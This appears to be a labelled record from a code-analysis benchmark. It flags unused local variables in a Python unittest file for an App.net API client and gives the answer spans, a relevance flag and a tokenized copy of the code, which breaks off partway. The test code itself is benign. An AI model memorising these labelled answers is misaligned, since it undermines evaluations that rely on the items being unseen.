[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
appdotnet/ADNpy/tests/test_api.py
[ { "content": " def test_post(self):\n text = u'awesome'\n post, meta = self.api.create_post(data={'text': text})\n self.assertEquals(post.text, text)\n\n post, meta = self.api.get_post(post)\n\n post, meta = self.api.delete_post(post)\n post, meta = self.api.create_post(data={'text': text})\n post, meta = post.delete()\n\n post, meta = self.api.repost_post(14265380)\n post, meta = self.api.unrepost_post(14265380)\n\n post, meta = self.api.star_post(14265380)\n post, meta = self.api.unstar_post(14265380)\n\n posts, meta = self.api.get_posts(ids='1,2,3')\n self.assertEquals(len(posts), 3)\n\n posts, meta = self.api.users_posts(3)\n\n posts, meta = self.api.users_starred_posts(3)\n posts, meta = self.api.users_mentioned_posts(3)\n\n posts, meta = self.api.posts_with_hashtag('awesome')\n\n posts, meta = self.api.posts_with_hashtag(1)\n\n posts, meta = self.api.users_post_stream()\n posts, meta = self.api.users_post_stream_unified()\n\n posts, meta = self.api.posts_stream_global()\n\n # post, meta = self.api.report_post(1)\n\n posts, meta = self.api.post_search(text='awesome')", "metadata": "root.AdnpyAPITests.test_post", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 18 }, { "content": " def test_user(self):\n display_name = u'tester %s' % (time.time())\n user, meta = self.api.get_user('me')\n self.assertEquals(self.username, user.username)\n old_name = user.name\n user.name = display_name\n cwd = os.path.dirname(__file__)\n del user.description['entities']\n user, meta = self.api.update_user('me', data=user)\n self.assertEquals(display_name, user.name)\n\n user, meta = self.api.patch_user('me', data={'name': old_name})\n self.assertEquals(old_name, user.name)\n\n users, meta = self.api.get_users(ids='1,2,3')\n self.assertEquals(len(users), 3)\n\n # XXX: Need to figure out how I can record, and replay these calls, but they work\n\n with open(cwd + '/data/avatar.png') as avatar:\n user, meta = self.api.update_avatar('me', files={'avatar': avatar})\n\n with open(cwd + '/data/cover.png') as cover:\n user, meta = self.api.update_cover('me', files={'cover': cover})\n\n user, meta = self.api.follow_user(3)\n user, meta = self.api.unfollow_user(3)\n\n user, meta = self.api.mute_user(3)\n user, meta = self.api.unmute_user(3)\n\n user, meta = self.api.block_user(3)\n user, meta = self.api.unblock_user(3)\n\n users, meta = self.api.user_search(q='@voidfiles')\n\n users, meta = self.api.users_following(3)\n users, meta = self.api.users_followers(3)\n\n users, meta = self.api.users_following_ids(3)\n users, meta = self.api.users_followers_ids(3)\n\n users, meta = self.api.users_muted_users('me')\n users, meta = self.api.users_muted_users_ids('me')\n\n users, meta = self.api.users_blocked_users('me')\n\n # Add in testing for app access tokens\n #users, meta = self.api.users_blocked_user_ids('me')\n\n users, meta = self.api.users_reposted_post(1)\n users, meta = self.api.users_starred_post(1)", "metadata": "root.AdnpyAPITests.test_user", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def test_channel(self):\n\n channels, meta = self.api.subscribed_channels()\n\n channel, meta = self.api.create_channel(data={\n 'type': 'com.example.channel',\n 'writers': {\n 'user_ids': ['@voidfiles'],\n 'immutable': False,\n }\n })\n\n channel_fetched, meta = self.api.get_channel(channel)\n self.assertEquals(channel.id, channel_fetched.id)\n\n channels, meta = self.api.get_channels(ids=channel_fetched.id)\n\n channels, meta = self.api.users_channels()\n\n num_unread, meta = self.api.num_unread_pm_channels()\n\n channel_update = {\n 'id': channel.id,\n 'writers': {\n 'user_ids': [],\n }\n }\n\n channel, meta = self.api.update_channel(channel, data=channel_update)\n self.assertEquals(channel_update['writers']['user_ids'], channel.writers.user_ids)\n\n channel, meta = self.api.subscribe_channel(1383)\n channel, meta = self.api.unsubscribe_channel(1383)\n\n users, meta = self.api.subscribed_users(1383)\n users, meta = self.api.subscribed_user_ids(1383)\n\n channel_user_ids, meta = self.api.subscribed_user_ids_for_channels(ids='1383,6313')\n\n channel, meta = self.api.mute_channel(1383)\n channels, meta = self.api.muted_channels(1383)\n channel, meta = self.api.unmute_channel(1383)", "metadata": "root.AdnpyAPITests.test_channel", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 109 }, { "content": " def test_message(self):\n\n message1, meta = self.api.create_message(27024, data={'text': \"awesome 1\"})\n message2, meta = self.api.create_message(27024, data={'text': \"awesome 2\"})\n message, meta = self.api.get_message(27024, message1)\n messages, meta = self.api.get_messages(ids='%s, %s' % (message1.id, message2.id))\n messages, meta = self.api.users_messages()\n messages, meta = self.api.get_channel_messages(27024)\n\n message, meta = self.api.delete_message(27024, message1)\n message, meta = self.api.delete_message(27024, message2)", "metadata": "root.AdnpyAPITests.test_message", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 152 }, { "content": " def test_interactions(self):\n interactions, meta = self.api.interactions_with_user()", "metadata": "root.AdnpyAPITests.test_interactions", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 204 }, { "content": " def test_text_process(self):\n text, meta = self.api.text_process(data={'text': \"#awesome @voidfiles\"})", "metadata": "root.AdnpyAPITests.test_text_process", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 207 }, { "content": " def test_places(self):\n places, meta = self.api.search_places(q='krispy kreme', latitude='37.701598', longitude='-122.470093', radius='50000')\n place, meta = self.api.get_place(places[0])", "metadata": "root.AdnpyAPITests.test_places", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 210 }, { "content": " def test_config(self):\n config, meta = self.api.get_config()", "metadata": "root.AdnpyAPITests.test_config", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 218 }, { "content": " def test_explore_stream(self):\n explore_streams, meta = self.api.get_explore_streams()\n posts, meta = self.api.get_explore_stream(explore_streams[0])", "metadata": "root.AdnpyAPITests.test_explore_stream", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 221 }, { "content": " def test_cursor(self):\n iterator = cursor(self.api.posts_stream_global, count=1)\n post1 = iterator.next()\n post2 = iterator.next()\n self.assertNotEquals(post1.id, post2.id)\n\n iterator = cursor(self.api.get_explore_stream, 'photos')\n post1 = iterator.next()", "metadata": "root.AdnpyAPITests.test_cursor", "header": "['class', 'AdnpyAPITests', '(', 'AdnpyTestCase', ')', ':', '___EOS___']", "index": 295 } ]
[ { "span": "posts,", "start_line": 54, "start_column": 8, "end_line": 54, "end_column": 13 }, { "span": "meta ", "start_line": 54, "start_column": 15, "end_line": 54, "end_column": 19 }, { "span": "users,", "start_line": 107, "start_column": 8, "end_line": 107, "end_column": 13 }, { "span": "meta ", "start_line": 107, "start_column": 15, "end_line": 107, "end_column": 19 }, { "span": "channel,", "start_line": 150, "start_column": 8, "end_line": 150, "end_column": 15 }, { "span": "meta ", "start_line": 150, "start_column": 17, "end_line": 150, "end_column": 21 }, { "span": "message,", "start_line": 162, "start_column": 8, "end_line": 162, "end_column": 15 }, { "span": "meta ", "start_line": 162, "start_column": 17, "end_line": 162, "end_column": 21 }, { "span": "interactions,", "start_line": 205, "start_column": 8, "end_line": 205, "end_column": 20 }, { "span": "meta ", "start_line": 205, "start_column": 22, "end_line": 205, "end_column": 26 }, { "span": "text,", "start_line": 208, "start_column": 8, "end_line": 208, "end_column": 12 }, { "span": "meta ", "start_line": 208, "start_column": 14, "end_line": 208, "end_column": 18 }, { "span": "place,", "start_line": 212, "start_column": 8, "end_line": 212, "end_column": 13 }, { "span": "meta ", "start_line": 212, "start_column": 15, "end_line": 212, "end_column": 19 }, { "span": "config,", "start_line": 219, "start_column": 8, "end_line": 219, "end_column": 14 }, { "span": "meta ", "start_line": 219, "start_column": 16, "end_line": 219, "end_column": 20 }, { "span": "posts,", "start_line": 223, "start_column": 8, "end_line": 223, "end_column": 13 }, { "span": "meta ", "start_line": 223, "start_column": 15, "end_line": 223, "end_column": 19 }, { "span": "post1 ", "start_line": 302, "start_column": 8, "end_line": 302, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "u", "'", "aw", "eso", "me", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "create", "\\u", "post_", "(_", "data_", "=_", "{_", "'", "text", "'_", ":_", "text_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "post_", "._", "text_", ",_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "post_", "(_", "post_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "delete", "\\u", "post_", "(_", "post_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "create", "\\u", "post_", "(_", "data_", "=_", "{_", "'", "text", "'_", ":_", "text_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", ",_", "meta_", "=_", "post_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "repos", "t", "\\u", "post_", "(_", "142", "653", "80_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unre", "post", "\\u", "post_", "(_", "142", "653", "80_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "star", "\\u", "post_", "(_", "142", "653", "80_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unsta", "r", "\\u", "post_", "(_", "142", "653", "80_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "posts_", "(_", "ids_", "=_", "'", "1", ",", "2", ",", "3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "posts_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "posts_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "starred", "\\u", "posts_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "mentioned", "\\u", "posts_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "posts", "\\u", "with", "\\u", "hashtag", "_", "(_", "'", "aw", "eso", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "posts", "\\u", "with", "\\u", "hashtag", "_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "post", "\\u", "stream_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "post", "\\u", "stream", "\\u", "unifie", "d_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "posts", "\\u", "stream", "\\u", "global_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "post", ",", " ", "meta", " ", "=", " ", "self", ".", "api", ".", "report", "\\u", "post", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posts_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "post", "\\u", "search_", "(_", "text_", "=_", "'", "aw", "eso", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "user_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "display", "\\u", "name_", "=_", "u", "'", "teste", "r", " ", "%", "s", "'_", "%_", "(_", "time_", "._", "time_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "user_", "(_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "username_", ",_", "user_", "._", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "name_", "=_", "user_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "._", "name_", "=_", "display", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cwd_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "user_", "._", "description_", "[_", "'", "entit", "ies", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "update", "\\u", "user_", "(_", "'", "me", "'_", ",_", "data_", "=_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "display", "\\u", "name_", ",_", "user_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "patch", "\\u", "user_", "(_", "'", "me", "'_", ",_", "data_", "=_", "{_", "'", "name", "'_", ":_", "old", "\\u", "name_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "old", "\\u", "name_", ",_", "user_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "users_", "(_", "ids_", "=_", "'", "1", ",", "2", ",", "3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "users_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", ":", " ", "Ne", "ed", " ", "to", " ", "figure", " ", "out", " ", "how", " ", "I", " ", "can", " ", "record", ",", " ", "and", " ", "repla", "y", " ", "these", " ", "calls", ",", " ", "but", " ", "the", "y", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "cwd_", "+_", "'/", "data", "/", "avat", "ar", ".", "png", "'_", ")_", "as_", "avatar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "update", "\\u", "avatar_", "(_", "'", "me", "'_", ",_", "files_", "=_", "{_", "'", "avat", "ar", "'_", ":_", "avatar_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "open_", "(_", "cwd_", "+_", "'/", "data", "/", "cover", ".", "png", "'_", ")_", "as_", "cover_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "update", "\\u", "cover_", "(_", "'", "me", "'_", ",_", "files_", "=_", "{_", "'", "cover", "'_", ":_", "cover_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "follow", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unfol", "low", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "mute", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unm", "ute", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "block", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unbl", "ock", "\\u", "user_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "user", "\\u", "search_", "(_", "q_", "=_", "'@", "voi", "dfile", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "following_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "followers", "_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "follow", "ing", "\\u", "ids_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "followers", "\\u", "ids_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "muted", "\\u", "users_", "(_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "muted", "\\u", "users", "\\u", "ids_", "(_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "block", "ed", "\\u", "users_", "(_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "in", " ", "testi", "ng", " ", "for", " ", "app", " ", "access", " ", "tokens_", "\\u\\u\\uNL\\u\\u\\u_", "#", "users", ",", " ", "meta", " ", "=", " ", "self", ".", "api", ".", "users", "\\u", "block", "ed", "\\u", "user", "\\u", "ids", "('", "me", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "repos", "ted", "\\u", "post_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "starred", "\\u", "post_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "channel_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "channels_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "subscribed", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "create", "\\u", "channel_", "(_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "type", "'_", ":_", "'", "com", ".", "example", ".", "channel", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "writer", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "ids", "'_", ":_", "[_", "'@", "voi", "dfile", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "immutable", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel", "\\u", "fetched", "_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "channel_", "(_", "channel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "channel_", "._", "id_", ",_", "channel", "\\u", "fetched", "_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channels_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "channels_", "(_", "ids_", "=_", "channel", "\\u", "fetched", "_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channels_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "users", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "unread", "_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "num", "\\u", "unread", "\\u", "pm", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel", "\\u", "update_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "channel_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "writer", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "ids", "'_", ":_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "update", "\\u", "channel_", "(_", "channel_", ",_", "data_", "=_", "channel", "\\u", "update_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "channel", "\\u", "update_", "[_", "'", "writer", "s", "'_", "]_", "[_", "'", "user", "\\u", "ids", "'_", "]_", ",_", "channel_", "._", "writers_", "._", "user", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "subscribe", "\\u", "channel_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unsubscribe", "\\u", "channel_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "subscribed", "\\u", "users_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "subscribed", "\\u", "user", "\\u", "ids_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel", "\\u", "user", "\\u", "ids_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "subscribed", "\\u", "user", "\\u", "ids", "\\u", "for", "\\u", "channels_", "(_", "ids_", "=_", "'", "138", "3", ",", "631", "3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "mute", "\\u", "channel_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channels_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "muted", "\\u", "channels_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "unm", "ute", "\\u", "channel_", "(_", "138", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ad", "npy", "API", "Tests_", "(_", "Ad", "npy", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "message_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message", "1_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "create", "\\u", "message_", "(_", "270", "24_", ",_", "data_", "=_", "{_", "'", "text", "'_", ":_", "\"", "aw", "eso", "me", " ", "1", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "2_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "create", "\\u", "message_", "(_", "270", "24_", ",_", "data_", "=_", "{_", "'", "text", "'_", ":_", "\"", "aw", "eso", "me", " ", "2", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", ",_", "meta_", "=_", "self_", "._", "api_", "._", "get", "\\u", "message_", "(_", "270", "24_", ",_", "message", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", ",_", "meta_", "=_", "self_", "._", 